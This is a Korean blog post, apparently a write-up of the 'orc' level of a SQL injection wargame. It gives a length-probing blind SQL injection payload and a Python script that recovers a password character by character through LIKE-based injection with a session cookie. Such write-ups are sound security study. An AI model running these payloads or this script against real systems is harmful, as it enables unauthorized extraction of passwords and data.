article thumbnail image
Published 2021. 5. 7. 19:32

 

orc에 접속!

소스코드를 보면 밑에서 3번째 줄에 $_GET['pw']와 $result['pw']를 직접 대조하고 있다. 둘의 값이 일치해야만 이번 문제를 해결할 수 있다. 즉, 전체 pw를 알아내야 한다. 그런데 addslashes 함수로 quotes를 필터링하고 있기 때문에 이전에 썼던 방식대로는 해결할 수 없어 보인다.

 

이번 문제에서 SQL Injection을 통해 얻을 수 있는 정보는 <h2>Hello admin</h2>의 출력을 통해 알 수 있는 참과 거짓밖에 없을 것 같다. 참과 거짓을 통해서 pw를 알아내려면 Blind SQL Injection 방법을 사용해야 할 것 같다.

 

일단 pw의 길이를 알아내야 한다.

?pw=' or length(pw)=n#을 입력하고 Hello admin이 출력될 때까지 n을 늘려가며 입력했다.

Hello admin이 출려됐다는 것은 해당 쿼리가 참이라는 뜻이기 때문에 그때의 n이 pw의 길이가 된다.

 

직접해보면 8에서 Hello admin이 출력된다. pw의 길이는 8이다.

 

다음은 pw의 문자를 한 글자씩 알아내야 한다.

pw를 한 글자씩 알아내는 방법에는 strsub함수를 사용하는 방법도 있고, like절을 사용해서 알아내는 방법도 있다.

여기서는 like절을 사용해서 알아냈다.

 

import requests

headers = {'Cookie' : 'PHPSESSID=058vk8aop3282a5c3rj2a9vb2b;'}
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
string = "1234567890abcdefghijklmnopqrstuvwxyz"

pw = ''
length = 8

for i in range(1, length+1):
    for j in string:
        data = "?pw=' or pw like \'" + pw + j + "%"
        r = requests.get(url + data, headers = headers)
        if r.text.find('Hello admin') != -1:
            pw = pw + j
            print ("[*] Finding... : ", pw)
            break

print ("[+] Found Password : ", pw)

pw를 '' 빈스트링으로 초기화 해주고 pw에 j를 더해가면서 DB에 있는 pw에 해당 값이 포함되는지 확인한다.

참이면 pw+j를 pw에 저장하고 출력한다. 해당 과정을 반복하면 pw의 값을 한 글자씩 알아낼 수 있다.

 

(requests 모듈을 설치하고, 자신의 쿠키값으로 변경해야 한다)

 

위 코드를 실행하면 다음과 같이 pw의 값을 알아낼 수 있다.

 

 

 

알아낸 값을 url에 전달해주면 다음과 같이 clear 할 수 있다.

 

 

 

 

 

'Study > Web Hacking' 카테고리의 다른 글

[XSS Challenge] Stage #8  (0) 2021.05.08
[XSS Challenge] Stage #7  (0) 2021.05.08
[natas] Level 8 -> Level 9  (0) 2021.05.07
[natas] Level 7 -> Level 8  (0) 2021.05.07
[XSS Challenge] Stage #6  (0) 2021.04.11
복사했습니다!